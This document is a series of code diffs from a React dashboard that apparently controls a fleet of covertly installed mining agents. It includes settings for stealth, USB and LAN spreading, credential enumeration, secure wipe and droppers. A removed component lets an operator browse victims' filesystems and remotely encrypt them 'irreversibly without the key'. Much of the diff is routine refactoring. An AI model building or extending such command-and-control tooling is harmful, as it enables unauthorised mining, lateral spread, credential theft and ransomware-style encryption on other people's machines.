gap: 0.5rem;
margin-bottom: 0.35rem;
}
.rdb-title {
font-size: 0.68rem;
letter-spacing: 0.08em;
color: #ff8888;
}
.rdb-hint {
margin: 0 0 0.45rem;
font-size: 0.68rem;
}
.rdb-offline {
color: #ff6666;
font-size: 0.78rem;
margin: 0.25rem 0;
}
.rdb-path {
font-size: 0.72rem;
color: var(--neon-cyan);
margin-bottom: 0.35rem;
word-break: break-all;
}
.rdb-breadcrumb {
margin-bottom: 0.4rem;
flex-wrap: wrap;
display: flex;
align-items: center;
}
.rdb-crumb {
background: none;
border: none;
color: var(--neon-cyan, #0ff);
cursor: pointer;
font-size: 0.72rem;
padding: 0;
}
.rdb-sep {
opacity: 0.45;
margin: 0 0.15rem;
}
.rdb-list {
list-style: none;
margin: 0;
padding: 0;
max-height: 180px;
overflow-y: auto;
border: 1px solid #331111;
background: rgba(0, 0, 0, 0.35);
}
.rdb-row {
display: flex;
width: 100%;
justify-content: space-between;
align-items: center;
gap: 0.5rem;
text-align: left;
background: none;
border: none;
color: #ddd;
padding: 0.3rem 0.5rem;
cursor: pointer;
font-family: var(--font-tech);
font-size: 0.78rem;
}
.rdb-row:hover {
background: rgba(255, 34, 34, 0.12);
}
.rdb-dir {
color: #9fdcff;
}
.rdb-size {
color: #888;
font-size: 0.68rem;
flex-shrink: 0;
}
.rdb-actions {
display: flex;
align-items: center;
gap: 0.75rem;
margin-top: 0.5rem;
flex-wrap: wrap;
}
.rdb-recursive {
display: flex;
align-items: center;
gap: 0.35rem;
font-size: 0.75rem;
color: #bbb;
cursor: pointer;
}
.rdb-encrypt-btn {
background: linear-gradient(135deg, #7b0000 0%, #cc0000 100%);
border: 1px solid #ff2222;
color: #fff;
font-weight: 700;
letter-spacing: 0.05em;
font-size: 0.78rem;
padding: 0.35rem 0.75rem;
}
.rdb-encrypt-btn:disabled {
opacity: 0.45;
}
.rdb-err {
color: #ff6666;
font-size: 0.75rem;
margin: 0.35rem 0 0;
}

View File

@@ -1,211 +0,0 @@
import { useCallback, useEffect, useMemo, useState } from 'react';
import { api } from '../../api/client';
import {
defaultBrowseRoot,
joinRemotePath,
parseListDirMessage,
pathBreadcrumbs,
type DirEntry,
} from '../../help/remoteDirBrowser';
import './RemoteDirBrowser.css';
interface Props {
agentId: string;
agentName?: string;
platform?: string;
online: boolean;
/** Encrypt targets — all online selected agents when multi-select */
encryptTargets: { id: string; name: string }[];
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
onTerminalLine?: (text: string, isCmd?: boolean) => void;
}
export default function RemoteDirBrowser({
agentId,
agentName,
platform,
online,
encryptTargets,
commandResults,
onTerminalLine,
}: Props) {
const [cwd, setCwd] = useState(() => defaultBrowseRoot(platform));
const [entries, setEntries] = useState<DirEntry[]>([]);
const [homeDir, setHomeDir] = useState('');
const [recursive, setRecursive] = useState(true);
const [busy, setBusy] = useState(false);
const [err, setErr] = useState('');
const sep = cwd.includes('/') ? '/' : '\\';
const crumbs = useMemo(() => pathBreadcrumbs(cwd), [cwd]);
const browseLabel = homeDir || cwd || 'agent home';
const refresh = useCallback(() => {
if (!online || !agentId) return;
setBusy(true);
setErr('');
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
setErr(e instanceof Error ? e.message : String(e));
setBusy(false);
});
}, [agentId, cwd, online]);
useEffect(() => {
setCwd(defaultBrowseRoot(platform));
setEntries([]);
setHomeDir('');
setErr('');
}, [agentId, platform]);
useEffect(() => {
refresh();
}, [refresh]);
useEffect(() => {
if (!commandResults?.length) return;
const last = [...commandResults]
.reverse()
.find((r) => r.agentId === agentId && (r.action === 'list_dir' || r.action === 'encrypt_path' || r.action === 'sys_crypt'));
if (!last) return;
if (last.action === 'list_dir') {
if (last.success) {
const parsed = parseListDirMessage(last.message);
if (parsed) {
setEntries(parsed.entries);
if (parsed.path) setCwd(parsed.path);
if (parsed.home_dir) setHomeDir(parsed.home_dir);
}
} else {
setErr(last.message);
}
setBusy(false);
} else if (last.action === 'encrypt_path' || last.action === 'sys_crypt') {
setBusy(false);
onTerminalLine?.(
`${last.action} ${last.success ? 'OK' : 'FAIL'}${last.message.slice(0, 500)}`,
false
);
}
}, [commandResults, agentId, onTerminalLine]);
const navigate = (name: string, isDir: boolean) => {
if (!isDir && name !== '..') return;
setCwd(joinRemotePath(cwd, name));
};
const goHome = () => {
setCwd(homeDir || defaultBrowseRoot(platform));
};
const runEncrypt = () => {
const targets = encryptTargets.filter(Boolean);
if (targets.length === 0) {
alert('Select at least one online node.');
return;
}
const pathLabel = cwd || homeDir || '(agent home)';
const scope = recursive ? 'recursively' : 'non-recursively';
const warn =
targets.length > 1
? `Encrypt ${pathLabel} ${scope} on ${targets.length} nodes?\n\nThis is IRREVERSIBLE without the key.`
: `Encrypt ${pathLabel} ${scope} on ${targets[0].name}?\n\nThis is IRREVERSIBLE without the key.`;
if (!confirm(warn)) return;
setBusy(true);
onTerminalLine?.(
`encrypt_path → ${pathLabel} [${scope}] on ${targets.length} node(s)`,
true
);
for (const t of targets) {
api
.sendAgentCommand(t.id, 'encrypt_path', {
path: cwd || homeDir,
command: recursive ? 'recursive' : '',
})
.catch((e) => {
onTerminalLine?.(
`[ERROR] encrypt_path @ ${t.name}: ${e instanceof Error ? e.message : String(e)}`,
false
);
});
}
};
return (
<div className="remote-dir-browser">
<div className="rdb-header">
<span className="font-tech rdb-title">REMOTE BROWSER {agentName ?? agentId.slice(0, 8)}</span>
<button type="button" className="crucible-op-btn" disabled={!online || busy} onClick={refresh}>
Refresh
</button>
</div>
{!online && <p className="rdb-offline">Agent offline browse unavailable</p>}
<p className="rdb-hint form-hint">
Browse the remote machine filesystem. Encrypt runs on {encryptTargets.length} selected online node
{encryptTargets.length !== 1 ? 's' : ''}.
</p>
<div className="rdb-path font-tech" title={cwd || homeDir}>
{browseLabel}
</div>
<div className="rdb-breadcrumb font-tech">
<button type="button" className="rdb-crumb" onClick={goHome}>home</button>
{crumbs.map((c, i) => (
<span key={`${c}-${i}`}>
<span className="rdb-sep">/</span>
<button
type="button"
className="rdb-crumb"
onClick={() => {
const parts = crumbs.slice(0, i + 1);
const root = cwd.startsWith('/') ? '/' : '';
setCwd(root + parts.join(sep));
}}
>
{c}
</button>
</span>
))}
</div>
<ul className="rdb-list">
<li>
<button type="button" className="rdb-row" onClick={() => navigate('..', true)}>..</button>
</li>
{entries.map((e) => (
<li key={e.name}>
<button
type="button"
className={`rdb-row ${e.is_dir ? 'rdb-dir' : 'rdb-file'}`}
onClick={() => navigate(e.name, e.is_dir)}
title={e.is_dir ? 'Open folder' : `${e.size} bytes`}
>
{e.is_dir ? '📁' : '📄'} {e.name}
{!e.is_dir && (
<span className="rdb-size">
{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}
</span>
)}
</button>
</li>
))}
</ul>
<div className="rdb-actions">
<label className="rdb-recursive">
<input type="checkbox" checked={recursive} onChange={(ev) => setRecursive(ev.target.checked)} />
Recursive
</label>
<button
type="button"
className="button rdb-encrypt-btn"
disabled={!online || busy || encryptTargets.length === 0}
title="AES-256-GCM encrypt files at the current path on selected node(s)"
onClick={runEncrypt}
>
🔒 Encrypt path
</button>
</div>
{err && <p className="rdb-err">{err}</p>}
</div>
);
}

View File

@@ -2,6 +2,7 @@ import { useCallback, useEffect, useRef, useState } from 'react';
import { createPortal } from 'react-dom';
import { docAnchorForField } from '../help/docAnchors';
import { FIELD_HELP } from '../help/settingHelp';
import { UI_HELP } from '../help/uiHelp';
import './HelpTip.css';
interface HelpTipProps {
@@ -24,7 +25,7 @@ function DocReadMoreLink({ href }: { href: string }) {
}
export function HelpTip({ field, label }: HelpTipProps) {
const text = FIELD_HELP[field];
const text = FIELD_HELP[field] ?? UI_HELP[field];
const docAnchor = docAnchorForField(field);
const triggerRef = useRef<HTMLButtonElement>(null);
const popupRef = useRef<HTMLDivElement>(null);

View File

@@ -1,4 +1,4 @@
import { ReactNode, useEffect, useRef, useState } from 'react';
import { ReactNode, memo, useEffect, useMemo, useRef, useState } from 'react';
import { NavLink, useLocation } from 'react-router-dom';
import AmbientBackground from '../Ambient/AmbientBackground';
import SystemStatusBar from '../Visual/SystemStatusBar';
@@ -15,7 +15,7 @@ import { resolvePageWeather } from '../../help/pageWeather';
import { api } from '../../api/client';
import { usePresence } from '../../context/PresenceContext';
import ComradeAvatar from '../Presence/ComradeAvatar';
import type { ServerConfig } from '../../types';
import type { ServerConfig, ServerInfo } from '../../types';
import '../Presence/Presence.css';
import './Layout.css';
import './MobileNav.css';
@@ -145,12 +145,19 @@ function formatHashrate(hs: number): string {
return `${hs.toFixed(0)} H/s`;
}
function FleetReadout() {
const FleetReadout = memo(function FleetReadout() {
const { agents } = useWebSocket();
const online = agents.filter((a) => a.status === 'online').length;
const total = agents.length;
const totalHashrate = agents.reduce((sum, a) => sum + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
const fillPct = total > 0 ? Math.round((online / total) * 100) : 0;
const { online, total, totalHashrate, fillPct } = useMemo(() => {
const on = agents.filter((a) => a.status === 'online').length;
const tot = agents.length;
const hr = agents.reduce((sum, a) => sum + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
return {
online: on,
total: tot,
totalHashrate: hr,
fillPct: tot > 0 ? Math.round((on / tot) * 100) : 0,
};
}, [agents]);
// Tick animation: flash hashrate value whenever it meaningfully changes
const [flash, setFlash] = useState(false);
@@ -191,13 +198,18 @@ function FleetReadout() {
</div>
</div>
);
}
});
function MobileTopStats() {
const MobileTopStats = memo(function MobileTopStats() {
const { agents } = useWebSocket();
const online = agents.filter((a) => a.status === 'online').length;
const total = agents.length;
const hr = agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0);
const { online, total, hr } = useMemo(() => {
const on = agents.filter((a) => a.status === 'online').length;
return {
online: on,
total: agents.length,
hr: agents.reduce((s, a) => s + (a.hashrate_15s ?? a.hashrate_15m ?? 0), 0),
};
}, [agents]);
return (
<div className="mobile-top-stats">
<strong>
@@ -206,17 +218,23 @@ function MobileTopStats() {
<span>{hr > 0 ? formatHashrate(hr) : 'IDLE'}</span>
</div>
);
}
});
export default function Layout({ children }: LayoutProps) {
const location = useLocation();
const isMobile = useIsMobileLayout();
const { othersOnline, comrades } = usePresence();
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [moreOpen, setMoreOpen] = useState(false);
useEffect(() => {
api.getConfig().then(setServerConfig).catch(() => {});
Promise.all([api.getConfig(), api.getServerInfo()])
.then(([cfg, info]) => {
setServerConfig(cfg);
setServerInfo(info);
})
.catch(() => {});
}, []);
useEffect(() => {
@@ -232,7 +250,7 @@ export default function Layout({ children }: LayoutProps) {
};
}, [moreOpen]);
const setupStatus = getSetupStatus(serverConfig);
const setupStatus = getSetupStatus(serverConfig, serverInfo);
const pageWeather = resolvePageWeather(location.pathname);
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {

View File

@@ -170,6 +170,15 @@ export default function MatrixRain() {
let raf: number;
let lastTime = 0;
let paused = document.visibilityState === 'hidden';
const onVis = () => {
paused = document.visibilityState === 'hidden';
if (!paused && !raf) {
raf = requestAnimationFrame(draw);
}
};
document.addEventListener('visibilitychange', onVis);
const drawWordDrop = (wd: WordDrop, speedMult: number, intense: boolean) => {
const H = canvas.height;
@@ -204,6 +213,10 @@ export default function MatrixRain() {
};
const draw = (ts: number) => {
if (paused) {
raf = 0;
return;
}
raf = requestAnimationFrame(draw);
const intense = forgingRef.current || crucibleRef.current;
const targetFps = intense ? 50 : 24;
@@ -317,6 +330,7 @@ export default function MatrixRain() {
raf = requestAnimationFrame(draw);
return () => {
document.removeEventListener('visibilitychange', onVis);
cancelAnimationFrame(raf);
clearInterval(injectInterval);
clearInterval(wordInterval);

View File

@@ -1,4 +1,5 @@
import { useEffect, useState } from 'react';
import { useCallback, useEffect, useState } from 'react';
import { useVisibleInterval } from '../../hooks/usePageVisible';
import { api } from '../../api/client';
import ComradeIndicators from '../Presence/ComradeIndicators';
import { usePresence } from '../../context/PresenceContext';
@@ -12,34 +13,37 @@ export default function SystemStatusBar() {
const [buildCount, setBuildCount] = useState(0);
const { othersOnline } = usePresence();
useEffect(() => {
const poll = async () => {
try {
await api.healthCheck();
setServerOk(true);
} catch {
setServerOk(false);
}
try {
const agents = await api.listAgents();
setAgentTotal(agents.length);
setAgentOnline(agents.filter((a) => a.status === 'online').length);
} catch {
setAgentTotal(0);
setAgentOnline(0);
}
try {
const builds = await api.listBuilds();
setBuildCount(builds.length);
} catch {
setBuildCount(0);
}
};
poll();
const id = setInterval(poll, 15000);
return () => clearInterval(id);
const poll = useCallback(async () => {
try {
await api.healthCheck();
setServerOk(true);
} catch {
setServerOk(false);
}
try {
const agents = await api.listAgents();
setAgentTotal(agents.length);
setAgentOnline(agents.filter((a) => a.status === 'online').length);
} catch {
setAgentTotal(0);
setAgentOnline(0);
}
try {
const builds = await api.listBuilds();
setBuildCount(builds.length);
} catch {
setBuildCount(0);
}
}, []);
useEffect(() => {
void poll();
}, [poll]);
useVisibleInterval(() => {
void poll();
}, 15000);
return (
<div className={`system-status-bar${othersOnline ? ' system-status-bar--comrades-online' : ''}`}>
<span className={`status-pill ${serverOk ? 'ok' : 'bad'}`}>

View File

@@ -132,9 +132,7 @@ export function VesicaPiscis({ className = '', stroke = DEFAULT_STROKE, opacity
<circle cx={cx + r * 0.5} cy={cy} r={r} strokeWidth="0.2" />
<path
d={`M ${cx} ${cy - r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy + r * 0.87} A ${r * 0.5} ${r * 0.87} 0 0 1 ${cx} ${cy - r * 0.87}`}
stroke="#00f5ff"
strokeWidth="0.16"
opacity="0.6"
stroke="var(--neon-cyan)"
/>
<line x1={cx} y1={cy - r} x2={cx} y2={cy + r} strokeWidth="0.12" opacity="0.35" />
</g>
@@ -211,7 +209,7 @@ export function KnowledgeKey({ className = '', stroke = DEFAULT_STROKE, opacity
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<g opacity={opacity} fill="none" stroke={stroke} strokeLinecap="round" strokeLinejoin="round">
<circle cx="38" cy="38" r="16" strokeWidth="0.35" />
<circle cx="38" cy="38" r="8" stroke="#00f5ff" strokeWidth="0.25" />
<circle cx="38" cy="38" r="8" stroke="var(--neon-cyan)" strokeWidth="0.25" />
<polygon
points="38,22 46,30 38,38 30,30"
strokeWidth="0.2"
@@ -243,7 +241,7 @@ export function SriYantraLite({ className = '', stroke = DEFAULT_STROKE, opacity
<circle cx={cx} cy={cy} r="38" strokeDasharray="1.5 2" />
<polygon points={tri(32, false)} />
<polygon points={tri(24, true)} stroke="#ff2da6" opacity="0.65" />
<polygon points={tri(16, false)} stroke="#00f5ff" opacity="0.55" />
<polygon points={tri(16, false)} stroke="var(--neon-cyan)" opacity="0.55" />
<circle cx={cx} cy={cy} r="1.2" fill={stroke} />
</g>
</svg>

View File

@@ -67,9 +67,10 @@ vi.mock('../context/ForgeContext', () => ({
vi.mock('../api/download', () => {
const downloadAuthedFile = vi.fn();
const downloadApiFile = vi.fn();
return {
downloadAuthedFile,
downloadApiFile: downloadAuthedFile,
downloadApiFile,
};
});
@@ -188,15 +189,22 @@ describe('DownloadButton', () => {
});
it('downloads on click and shows busy label', async () => {
downloadApiFileMock.mockImplementation(() => new Promise((r) => setTimeout(r, 50)));
let resolveDownload!: () => void;
downloadApiFileMock.mockImplementation(
() => new Promise<void>((r) => { resolveDownload = r; })
);
render(
<DownloadButton apiPath="/api/x" filename="a.bin">
Save
</DownloadButton>
);
const btn = screen.getByRole('button', { name: 'Save' });
await userEvent.setup().click(btn);
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
const user = userEvent.setup();
await user.click(btn);
await waitFor(() => {
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
});
resolveDownload();
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
});
@@ -222,14 +230,21 @@ describe('AuthDownloadButton', () => {
});
it('calls downloadAuthedFile and shows ellipsis while busy', async () => {
downloadAuthedFileMock.mockImplementation(() => new Promise((r) => setTimeout(r, 30)));
let resolveDownload!: () => void;
downloadAuthedFileMock.mockImplementation(
() => new Promise<void>((r) => { resolveDownload = r; })
);
render(
<AuthDownloadButton apiPath="/api/build/1" filename="b.exe">
DL
</AuthDownloadButton>
);
await userEvent.setup().click(screen.getByRole('button', { name: 'DL' }));
expect(screen.getByRole('button', { name: '' })).toBeDisabled();
const user = userEvent.setup();
await user.click(screen.getByRole('button', { name: 'DL' }));
await waitFor(() => {
expect(screen.getByRole('button', { name: '…' })).toBeDisabled();
});
resolveDownload();
await waitFor(() =>
expect(downloadAuthedFileMock).toHaveBeenCalledWith('/api/build/1', 'b.exe')
);

View File

@@ -1,4 +1,5 @@
import React, { useEffect, useRef, useCallback, useState } from 'react';
import React, { useEffect, useRef, useCallback, useState, useMemo } from 'react';
import { agentStatsUnchanged, WS_LATEST_MESSAGE_TYPES } from '../help/wsStatsCoalesce';
import type {
WSDashboardInit,
WSAgentOffline,
@@ -22,6 +23,12 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
const wsRef = useRef<WebSocket | null>(null);
const reconnectTimer = useRef<ReturnType<typeof setTimeout> | null>(null);
const unmounted = useRef(false);
// Guard: true while an openSocket() invocation is in-flight (awaiting ticket fetch).
// A second connect() call while one is already opening is a no-op — prevents duplicate
// sockets when 'aetherforge-auth' fires during the async fetch.
const openingRef = useRef(false);
// AbortController for the current in-flight ws-ticket fetch; replaced on each open attempt.
const ticketAbortRef = useRef<AbortController | null>(null);
const [isConnected, setIsConnected] = useState(false);
const [agents, setAgents] = useState<Agent[]>([]);
const [recentShares, setRecentShares] = useState<Share[]>([]);
@@ -69,12 +76,23 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
}
const openSocket = async () => {
if (openingRef.current) return;
openingRef.current = true;
// Cancel any previously in-flight ticket fetch before starting a new one.
if (ticketAbortRef.current) {
ticketAbortRef.current.abort();
}
const abortCtrl = new AbortController();
ticketAbortRef.current = abortCtrl;
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
let wsQuery = `token=${encodeURIComponent(token)}`;
try {
const resp = await fetch('/api/v1/auth/ws-ticket', {
method: 'POST',
headers: authHeaders(),
signal: abortCtrl.signal,
});
if (resp.ok) {
const data = (await resp.json()) as { ticket?: string };
@@ -83,9 +101,17 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
}
}
} catch {
/* fall back to legacy token query param */
/* fall back to legacy token query param — also catches AbortError */
} finally {
if (ticketAbortRef.current === abortCtrl) {
ticketAbortRef.current = null;
}
openingRef.current = false;
}
if (unmounted.current) return;
// If this invocation was aborted by a newer call, bail out — the newer
// call will (or already has) opened its own socket.
if (abortCtrl.signal.aborted) return;
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?${wsQuery}`;
const ws = new WebSocket(wsUrl);
@@ -106,7 +132,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
ws.onmessage = (event) => {
try {
const msg = JSON.parse(event.data) as WSMessage;
setLatestMessage(msg);
if (WS_LATEST_MESSAGE_TYPES.has(msg.type)) {
setLatestMessage(msg);
}
switch (msg.type) {
case 'init': {
@@ -144,8 +172,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
}
case 'stats_update': {
const update = msg.payload as WSStatsUpdate;
setAgents((prev) =>
prev.map((a) =>
setAgents((prev) => {
const idx = prev.findIndex((a) => a.id === update.agent_id);
if (idx < 0) return prev;
if (agentStatsUnchanged(prev[idx], update)) return prev;
return prev.map((a) =>
a.id === update.agent_id
? {
...a,
@@ -196,9 +227,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
...(update.services !== undefined ? { services: update.services } : {}),
...(update.latency_ms !== undefined ? { latency_ms: update.latency_ms } : {}),
}
: a
)
);
: a,
);
});
break;
}
case 'new_share': {
@@ -294,11 +325,37 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
};
}, [connect]);
const value = useMemo(
() => ({
isConnected,
agents,
recentShares,
fleetAlerts,
poolStatus,
aiActivity,
agentLogs,
commandResults,
policyAcks,
latestMessage,
sendDashboardMessage,
}),
[
isConnected,
agents,
recentShares,
fleetAlerts,
poolStatus,
aiActivity,
agentLogs,
commandResults,
policyAcks,
latestMessage,
sendDashboardMessage,
],
);
return (
<WebSocketContext.Provider value={{
isConnected, agents, recentShares, fleetAlerts, poolStatus,
aiActivity, agentLogs, commandResults, policyAcks, latestMessage, sendDashboardMessage,
}}>
<WebSocketContext.Provider value={value}>
{children}
</WebSocketContext.Provider>
);

View File

@@ -2,7 +2,6 @@ import { describe, expect, it } from 'vitest';
import { mockAgent } from '../test/fixtures';
import {
CRUCIBLE_PHASE_C_ACTIONS,
CRUCIBLE_PHASE_C_STUBS,
buildSSHForwardPayload,
isWindowsPlatform,
newPortForwardRow,
@@ -84,7 +83,9 @@ describe('crucibleOps', () => {
it('lists Phase C actions', () => {
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
expect(CRUCIBLE_PHASE_C_STUBS.some((s) => s.id === 'smb_shares')).toBe(true);
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('credential_vault_list');
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('secure_wipe');
expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('tunnel_ssh_forward');
});
it('parseRemoteHostPort splits host and port', () => {

View File

@@ -16,15 +16,6 @@ export const CRUCIBLE_PHASE_C_ACTIONS = [
export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
export const CRUCIBLE_PHASE_C_STUBS = [
{ id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
{ id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
{ id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
{ id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
{ id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
] as const;
export function isWindowsPlatform(platform?: string): boolean {
if (!platform) return true;
return platform.toLowerCase().includes('win');

View File

@@ -25,15 +25,15 @@ describe('docAnchors', () => {
expect(Object.keys(DOC_ANCHORS).length).toBeGreaterThanOrEqual(60);
});
it('returns /docs/# paths', () => {
it('returns /docs anchor paths', () => {
for (const path of Object.values(DOC_ANCHORS)) {
expect(path).toMatch(/^\/docs\/#[\w-]+$/);
expect(path).toMatch(/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/);
}
});
it('docAnchorForField resolves known keys', () => {
expect(docAnchorForField('stealth_mode')).toBe('/docs/#forge-stealth');
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#dashboard');
expect(docAnchorForField('calibrate_wallet')).toBe('/docs/#calibrate');
expect(docAnchorForField('unknown_field')).toBeUndefined();
});
@@ -44,15 +44,17 @@ describe('docAnchors', () => {
});
it('covers top forge spread fields', () => {
expect(DOC_ANCHORS.usb_spread).toBe('/docs/#spread-campaigns');
expect(DOC_ANCHORS.auto_spread).toBe('/docs/#spread-campaigns');
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#dashboard');
expect(DOC_ANCHORS.usb_spread).toBe('/docs/SPREAD_TECHNIQUES.html#usb');
expect(DOC_ANCHORS.auto_spread).toBe('/docs/SPREAD_TECHNIQUES.html#lan');
expect(DOC_ANCHORS.remote_aggressive).toBe('/docs/#crucible-ops');
});
it('every HelpTip field has a wiki anchor', () => {
for (const field of HELP_TIP_FIELDS) {
expect(FIELD_HELP[field], `missing FIELD_HELP for ${field}`).toBeDefined();
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(/^\/docs\/#[\w-]+$/);
expect(docAnchorForField(field), `missing DOC_ANCHORS for ${field}`).toMatch(
/^\/docs\/(#[\w-]+|SPREAD_TECHNIQUES\.html#[\w-]+)$/,
);
}
});

View File

@@ -1,10 +1,10 @@
/** Maps HelpTip / FieldHint field ids to wiki doc section anchors. */
export const DOC_ANCHORS: Record<string, string> = {
// Calibrate
calibrate_wallet: '/docs/#dashboard',
calibrate_wallet: '/docs/#calibrate',
calibrate_quick_setup: '/docs/#quick-start',
public_url: '/docs/#quick-start',
cloudflare_tunnel_token: '/docs/#dashboard',
public_url: '/docs/#calibrate',
cloudflare_tunnel_token: '/docs/#calibrate',
open_firewall_on_start: '/docs/#security-auth',
obfuscate_default: '/docs/#forge',
sign_enabled: '/docs/#forge',
@@ -64,12 +64,12 @@ export const DOC_ANCHORS: Record<string, string> = {
https_beacon_fallback: '/docs/#agent',
// Forge — spread & ops
usb_spread: '/docs/#spread-campaigns',
share_spread: '/docs/#spread-campaigns',
auto_spread: '/docs/#spread-campaigns',
remote_aggressive: '/docs/#dashboard',
mesh_p2p: '/docs/#agent',
hole_punch: '/docs/#agent',
usb_spread: '/docs/SPREAD_TECHNIQUES.html#usb',
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
remote_aggressive: '/docs/#crucible-ops',
mesh_p2p: '/docs/#platform-matrix',
hole_punch: '/docs/#crucible-ops',
// AI
ai_enabled: '/docs/#alerts-ai',
@@ -77,8 +77,38 @@ export const DOC_ANCHORS: Record<string, string> = {
ai_model: '/docs/#alerts-ai',
// Crucible / agent remote
firewall_remote: '/docs/#agent',
firewall_remote: '/docs/#crucible-ops',
firewall_exclusion: '/docs/#agent',
// Mission / builds
spread_kit: '/docs/#forge',
forge_deliverable: '/docs/#forge',
forge_simple_mode: '/docs/#mission-deck',
md_overview: '/docs/#mission-deck',
md_operation_chip: '/docs/#mission-deck',
md_spread_profile: '/docs/#mission-deck',
md_campaign_identity: '/docs/#mission-deck',
md_strike_pipeline: '/docs/#mission-deck',
md_equip_strike: '/docs/#mission-deck',
// Calibrate server
websocket_ping_seconds: '/docs/#calibrate',
log_pool_traffic: '/docs/#calibrate',
webhook_url: '/docs/#calibrate',
// Dashboard / fleet UI
dash_fleet_health: '/docs/#dashboard',
dash_fleet_pipeline: '/docs/#quick-start',
dash_pool_stratum: '/docs/#mining',
dash_ai_activity: '/docs/#alerts-ai',
dash_install_funnel: '/docs/SPREAD_TECHNIQUES.html#campaign-war-room',
crucible_node_roster: '/docs/#dashboard',
crucible_tab_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
crucible_full_audit: '/docs/#crucible-ops',
bm_pin_dropper: '/docs/#build-manager',
bm_dropper_oneliner: '/docs/#build-manager',
pt_path_tracer: '/docs/#path-tracer',
fleet_runtime_policy: '/docs/#calibrate',
};
export function docAnchorForField(field: string): string | undefined {

View File

@@ -26,6 +26,24 @@ describe('lanEndpointCandidates', () => {
expect(urls).toEqual(['http://192.168.1.10:8989']);
});
it('includes tunnel URL when present', () => {
const info: ServerInfo = {
port: 8989,
host: 'localhost',
local_ips: ['192.168.1.10'],
lan_url: 'http://192.168.1.10:8989',
tunnel_url: 'https://nothing.thetempleofdoom.com',
suggested_url: 'https://nothing.thetempleofdoom.com',
dashboard_url: 'https://nothing.thetempleofdoom.com',
websocket_url: 'wss://nothing.thetempleofdoom.com/ws/agent',
cloudflared_configured: true,
};
expect(lanEndpointCandidates(info)).toEqual([
'http://192.168.1.10:8989',
'https://nothing.thetempleofdoom.com',
]);
});
it('honours port override', () => {
const info: ServerInfo = {
port: 8989,

View File

@@ -18,11 +18,17 @@ export function lanEndpointCandidates(info: ServerInfo, portOverride?: number):
out.push(u);
};
if (info.suggested_url?.trim()) {
push(info.suggested_url.trim());
if (info.lan_url?.trim()) {
push(info.lan_url.trim());
}
for (const ip of info.local_ips ?? []) {
push(formatLanEndpoint(ip, port));
}
if (info.suggested_url?.trim()) {
push(info.suggested_url.trim());
}
if (info.tunnel_url?.trim()) {
push(info.tunnel_url.trim());
}
return out;
}

View File

@@ -70,7 +70,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
return {
...FORGE_BUILD_DEFAULTS,
worker_name: '',
server_url: publicUrl || serverInfo.suggested_url || '',
server_url: publicUrl || serverInfo.lan_url || serverInfo.suggested_url || '',
wallet: config.wallet.address,
pool_host: config.pool.host,
pool_port: config.pool.port,

View File

@@ -53,11 +53,11 @@ describe('forgeMission helpers', () => {
it('tracks mission step status including skipped export', () => {
expect(missionStepStatus('configure', 'forge', false)).toBe('done');
expect(missionStepStatus('forge', 'forge', false)).toBe('active');
expect(missionStepStatus('export', 'copy', true)).toBe('skipped');
expect(missionStepStatus('copy', 'done', false)).toBe('done');
expect(missionStepStatus('export', 'done', true)).toBe('skipped');
expect(missionStepStatus('export', 'export', false)).toBe('active');
});
it('runForgeMission configures, builds, exports spread kit, and returns links', async () => {
it('runForgeMission configures, builds, and exports spread kit', async () => {
const buildAgent = vi.fn().mockResolvedValue(okBuild());
const exportSpreadKit = vi.fn().mockResolvedValue(undefined);
const api: MissionApi = { buildAgent, exportSpreadKit };
@@ -74,7 +74,7 @@ describe('forgeMission helpers', () => {
cancelToken: 'tok-1',
});
expect(steps).toEqual(['configure', 'forge', 'export', 'copy', 'done']);
expect(steps).toEqual(['configure', 'forge', 'export', 'done']);
